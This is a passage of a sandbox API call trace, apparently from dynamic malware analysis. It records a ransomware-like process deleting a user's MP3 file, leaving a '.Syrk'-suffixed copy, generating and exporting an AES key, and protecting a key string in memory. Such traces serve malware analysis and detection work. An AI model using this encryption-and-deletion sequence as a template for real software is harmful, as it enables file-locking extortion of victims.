out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.036] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3", lpFilePart=0x0) returned 0x31 [0191.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e404) returned 1 [0191.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3"), fInfoLevelId=0x0, lpFileInformation=0x23c55f4 | out: lpFileInformation=0x23c55f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b498b90, ftCreationTime.dwHighDateTime=0x1d99b1c, ftLastAccessTime.dwLowDateTime=0x542ee890, ftLastAccessTime.dwHighDateTime=0x1d99bb0, ftLastWriteTime.dwLowDateTime=0x542ee890, ftLastWriteTime.dwHighDateTime=0x1d99bb0, nFileSizeHigh=0x0, nFileSizeLow=0x116d)) returned 1 [0191.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e400) returned 1 [0191.036] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3")) returned 1 [0191.039] EtwEventActivityIdControl () returned 0x0 [0191.040] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.040] EtwEventActivityIdControl () returned 0x0 [0191.040] EtwEventActivityIdControl () returned 0x0 [0191.040] EtwEventActivityIdControl () returned 0x0 [0191.139] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3.syrk")) returned 0x20 [0191.255] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3.syrk")) returned 0x20 [0191.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0191.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk", lpFilePart=0x0) returned 0x36 [0191.256] EtwEventActivityIdControl () returned 0x0 [0191.257] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.257] EtwEventActivityIdControl () returned 0x0 [0191.257] EtwEventActivityIdControl () returned 0x0 [0191.257] EtwEventActivityIdControl () returned 0x0 [0191.267] EtwEventActivityIdControl () returned 0x0 [0191.268] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.269] EtwEventActivityIdControl () returned 0x0 [0191.269] EtwEventActivityIdControl () returned 0x0 [0191.269] EtwEventActivityIdControl () returned 0x0 [0191.276] EtwEventActivityIdControl () returned 0x0 [0191.277] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.277] EtwEventActivityIdControl () returned 0x0 [0191.277] EtwEventActivityIdControl () returned 0x0 [0191.277] EtwEventActivityIdControl () returned 0x0 [0191.285] EtwEventActivityIdControl () returned 0x0 [0191.285] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.286] EtwEventActivityIdControl () returned 0x0 [0191.286] EtwEventActivityIdControl () returned 0x0 [0191.286] EtwEventActivityIdControl () returned 0x0 [0191.293] EtwEventActivityIdControl () returned 0x0 [0191.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e660, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.295] EtwEventActivityIdControl () returned 0x0 [0191.295] EtwEventActivityIdControl () returned 0x0 [0191.295] EtwEventActivityIdControl () returned 0x0 [0191.355] EtwEventActivityIdControl () returned 0x0 [0191.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de54) returned 1 [0191.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\E06hTH3VoHA0d\\OUWK.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\e06hth3voha0d\\ouwk.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23d0630 | out: lpFileInformation=0x23d0630*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9779a0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xee9779a0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xee99db00, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x1184)) returned 1 [0191.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2de50) returned 1 [0191.364] GetConsoleOutputCP () returned 0x1b5 [0191.364] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0191.364] GetConsoleOutputCP () returned 0x1b5 [0191.364] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0191.364] GetConsoleOutputCP () returned 0x1b5 [0191.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.365] GetConsoleOutputCP () returned 0x1b5 [0191.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.365] GetConsoleOutputCP () returned 0x1b5 [0191.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0191.365] GetConsoleOutputCP () returned 0x1b5 [0191.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0191.365] GetConsoleOutputCP () returned 0x1b5 [0191.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.366] GetConsoleOutputCP () returned 0x1b5 [0191.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.366] GetConsoleOutputCP () returned 0x1b5 [0191.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0191.366] GetConsoleOutputCP () returned 0x1b5 [0191.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0191.366] GetConsoleOutputCP () returned 0x1b5 [0191.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.367] GetConsoleOutputCP () returned 0x1b5 [0191.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.367] GetConsoleOutputCP () returned 0x1b5 [0191.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e57c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e57c) returned 0 [0191.367] GetConsoleOutputCP () returned 0x1b5 [0191.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e604, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e604) returned 0 [0191.367] GetConsoleOutputCP () returned 0x1b5 [0191.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.368] GetConsoleOutputCP () returned 0x1b5 [0191.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e5e0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e5e0) returned 0 [0191.368] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e6cc | out: lpConsoleScreenBufferInfo=0x5a2e6cc) returned 1 [0191.369] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0191.369] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23ebf64*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x23ebf64*, lpNumberOfCharsWritten=0x5a2e6b8*=0x4f) returned 1 [0191.370] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e6c4 | out: lpMode=0x5a2e6c4) returned 1 [0191.371] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e6b8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e6b8*=0x2) returned 1 [0191.372] EtwEventActivityIdControl () returned 0x0 [0191.372] EtwEventActivityIdControl () returned 0x0 [0191.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2eb1c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.373] EtwEventActivityIdControl () returned 0x0 [0191.373] EtwEventActivityIdControl () returned 0x0 [0191.373] EtwEventActivityIdControl () returned 0x0 [0191.375] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e774, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.376] EtwEventActivityIdControl () returned 0x0 [0191.376] EtwEventActivityIdControl () returned 0x0 [0191.376] EtwEventActivityIdControl () returned 0x0 [0191.379] CryptAcquireContextW (in: phProv=0x5a2e370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e370*=0x373678) returned 1 [0191.381] CryptGenKey (in: hProv=0x373678, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e7b0 | out: phKey=0x5a2e7b0*=0x5c68fc0) returned 1 [0191.381] CryptContextAddRef (hProv=0x373678, pdwReserved=0x0, dwFlags=0x0) returned 1 [0191.381] CryptExportKey (in: hKey=0x5c68fc0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e79c | out: pbData=0x0*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0191.381] CryptExportKey (in: hKey=0x5c68fc0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23f3c4c, pdwDataLen=0x5a2e79c | out: pbData=0x23f3c4c*, pdwDataLen=0x5a2e79c*=0x2c) returned 1 [0191.381] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e368, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.382] EtwEventActivityIdControl () returned 0x0 [0191.382] EtwEventActivityIdControl () returned 0x0 [0191.382] EtwEventActivityIdControl () returned 0x0 [0191.383] SysStringLen (param_1="") returned 0x8 [0191.383] SysStringLen (param_1="H") returned 0x8 [0191.383] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.384] SysStringLen (param_1="囆聤꣢렚꧹믇ׄ") returned 0x8 [0191.384] SysStringLen (param_1="囆聤꣢렚꧹믇ׄ") returned 0x8 [0191.384] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.384] SysStringLen (param_1="HE") returned 0x8 [0191.384] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.384] SysStringLen (param_1="ᬺ蔻褝꞉涸෎錁") returned 0x8 [0191.384] SysStringLen (param_1="ᬺ蔻褝꞉涸෎錁") returned 0x8 [0191.384] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.384] SysStringLen (param_1="HEm") returned 0x8 [0191.384] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.384] SysStringLen (param_1="鈹㗼䷡꘾컣䞬") returned 0x8 [0191.384] SysStringLen (param_1="鈹㗼䷡꘾컣䞬") returned 0x8 [0191.384] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.385] SysStringLen (param_1="HEmi") returned 0x8 [0191.385] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.385] SysStringLen (param_1="᥻㙢⿩햷냢㚺䋽") returned 0x8 [0191.385] SysStringLen (param_1="᥻㙢⿩햷냢㚺䋽") returned 0x8 [0191.385] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.385] SysStringLen (param_1="HEmiq") returned 0x8 [0191.385] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.385] SysStringLen (param_1="먧㙐敥\㇚럮뭦⋁) returned 0x8 [0191.385] SysStringLen (param_1="먧㙐敥\㇚럮뭦⋁) returned 0x8 [0191.385] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.385] SysStringLen (param_1="HEmiqX") returned 0x8 [0191.385] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.386] SysStringLen (param_1="靾昱靿㫜膪䭥慚") returned 0x8 [0191.386] SysStringLen (param_1="靾昱靿㫜膪䭥慚") returned 0x8 [0191.386] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.386] SysStringLen (param_1="HEmiqX3") returned 0x8 [0191.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.386] SysStringLen (param_1="㓩砏孑祙圴鱽⨸") returned 0x8 [0191.386] SysStringLen (param_1="㓩砏孑祙圴鱽⨸") returned 0x8 [0191.386] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.386] SysStringLen (param_1="HEmiqX36") returned 0x8 [0191.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0191.386] SysStringLen (param_1="齦徔\⛝璦꿟恡⊠) returned 0x8 [0191.387] SysStringLen (param_1="齦徔\⛝璦꿟恡⊠) returned 0x8 [0191.387] SysStringLen (param_1="齦徔\⛝璦꿟恡⊠) returned 0x8 [0191.387] SysStringLen (param_1="齦徔\⛝璦꿟恡⊠) returned 0x10 [0191.387] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.387] SysStringLen (param_1="HEmiqX36+朁ꪉ᳨咛㿐ኚ浛") returned 0x10 [0191.387] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.387] SysStringLen (param_1="齦徔\⛝璦꿟恡\䳛隷껔㴪袰Ẏ笁ᚄ") returned 0x10 [0191.387] SysStringLen (param_1="齦徔\⛝璦꿟恡\䳛隷껔㴪袰Ẏ笁ᚄ") returned 0x10 [0191.387] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.387] SysStringLen (param_1="HEmiqX36+Eꪉ᳨咛㿐ኚ浛") returned 0x10 [0191.387] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.387] SysStringLen (param_1="齦徔\⛝璦꿟恡殠啌ॻ싍韉醆ᖂ漐⋯) returned 0x10 [0191.388] SysStringLen (param_1="齦徔\⛝璦꿟恡殠啌ॻ싍韉醆ᖂ漐⋯) returned 0x10 [0191.388] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.388] SysStringLen (param_1="HEmiqX36+EI᳨咛㿐ኚ浛") returned 0x10 [0191.388] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.388] SysStringLen (param_1="齦徔\⛝璦꿟恡㺠⋕㘿☈따霗∤) returned 0x10 [0191.388] SysStringLen (param_1="齦徔\⛝璦꿟恡㺠⋕㘿☈따霗∤) returned 0x10 [0191.388] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.388] SysStringLen (param_1="HEmiqX36+EIy咛㿐ኚ浛") returned 0x10 [0191.388] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.388] SysStringLen (param_1="齦徔\⛝璦꿟恡㦠韔룪蹈嵽헙膺≆) returned 0x10 [0191.388] SysStringLen (param_1="齦徔\⛝璦꿟恡㦠韔룪蹈嵽헙膺≆) returned 0x10 [0191.388] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.389] SysStringLen (param_1="HEmiqX36+EIyN㿐ኚ浛") returned 0x10 [0191.389] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.389] SysStringLen (param_1="齦徔\⛝璦꿟恡ʠꇌꙃﭶ⮺▰⋂) returned 0x10 [0191.389] SysStringLen (param_1="齦徔\⛝璦꿟恡ʠꇌꙃﭶ⮺▰⋂) returned 0x10 [0191.389] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.389] SysStringLen (param_1="HEmiqX36+EIyN2ኚ浛") returned 0x10 [0191.389] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.389] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠḌ篙⣱튝ᵽ\觚䜜") returned 0x10 [0191.389] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠḌ篙⣱튝ᵽ\觚䜜") returned 0x10 [0191.389] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.389] SysStringLen (param_1="HEmiqX36+EIyN2f浛") returned 0x10 [0191.389] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.389] SysStringLen (param_1="齦徔\⛝璦꿟恡떠⚱뮣꯳蟾ਢ≇) returned 0x10 [0191.389] SysStringLen (param_1="齦徔\⛝璦꿟恡떠⚱뮣꯳蟾ਢ≇) returned 0x10 [0191.390] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.390] SysStringLen (param_1="HEmiqX36+EIyN2fA") returned 0x10 [0191.390] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0191.445] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆⋈) returned 0x10 [0191.446] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆⋈) returned 0x10 [0191.446] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆⋈) returned 0x10 [0191.446] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆⋈) returned 0x18 [0191.446] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.446] SysStringLen (param_1="HEmiqX36+EIyN2fAz늯낃\換爵孍牵∅) returned 0x18 [0191.446] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.447] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆쿈鴇췚᳭쵾ꟓ輋ㅌ⊉) returned 0x18 [0191.447] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆쿈鴇췚᳭쵾ꟓ輋ㅌ⊉) returned 0x18 [0191.447] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.447] SysStringLen (param_1="HEmiqX36+EIyN2fAz4낃\換爵孍牵∅) returned 0x18 [0191.447] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.447] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆뗈﹡뤟쯎訆닄礓䍝⋗) returned 0x18 [0191.447] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆뗈﹡뤟쯎訆닄礓䍝⋗) returned 0x18 [0191.447] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.447] SysStringLen (param_1="HEmiqX36+EIyN2fAz4s\換爵孍牵∅) returned 0x18 [0191.447] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.447] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆ᮗƟᜧꂟʂ≼) returned 0x18 [0191.447] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆ᮗƟᜧꂟʂ≼) returned 0x18 [0191.447] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.448] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sR鹣䷺畛ղ") returned 0x18 [0191.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.448] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆싈웰샭舁靓돤ज㍓≇) returned 0x18 [0191.448] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆싈웰샭舁靓돤ज㍓≇) returned 0x18 [0191.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.448] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRr䷺畛ղ") returned 0x18 [0191.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.448] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆࿈霗伺ৗᩏ骵⊯) returned 0x18 [0191.448] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆࿈霗伺ৗᩏ骵⊯) returned 0x18 [0191.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.448] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrp畛ղ") returned 0x18 [0191.448] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.448] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆뎎㛹荸⛕᝕⋕) returned 0x18 [0191.448] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆뎎㛹荸⛕᝕⋕) returned 0x18 [0191.448] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.449] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNղ") returned 0x18 [0191.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.449] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆듈䣲❫☇폨ﭏ錱蕢⊪) returned 0x18 [0191.449] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆듈䣲❫☇폨ﭏ錱蕢⊪) returned 0x18 [0191.449] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.449] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV") returned 0x18 [0191.449] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.449] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞≛) returned 0x18 [0191.449] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞≛) returned 0x18 [0191.449] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞≛) returned 0x18 [0191.450] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞≛) returned 0x20 [0191.450] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.450] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV7뗸壃쉿绹愵浐阀") returned 0x20 [0191.450] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.450] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞塛ⴴ홆ᾚ覗⋷) returned 0x20 [0191.450] SysStringLen (param_1="齦徔\⛝璦꿟恡ᚠ㪹ᛇ象蔕⣻䤆秈淝ꪍ넯ᙸ䫵⏗㬞塛ⴴ홆ᾚ覗⋷) returned 0x20 [0191.450] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.450] SysStringLen (param_1="HEmiqX36+EIyN2fAz4sRrpNV71壃쉿绹愵浐阀") returned 0x20 [0191.450] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 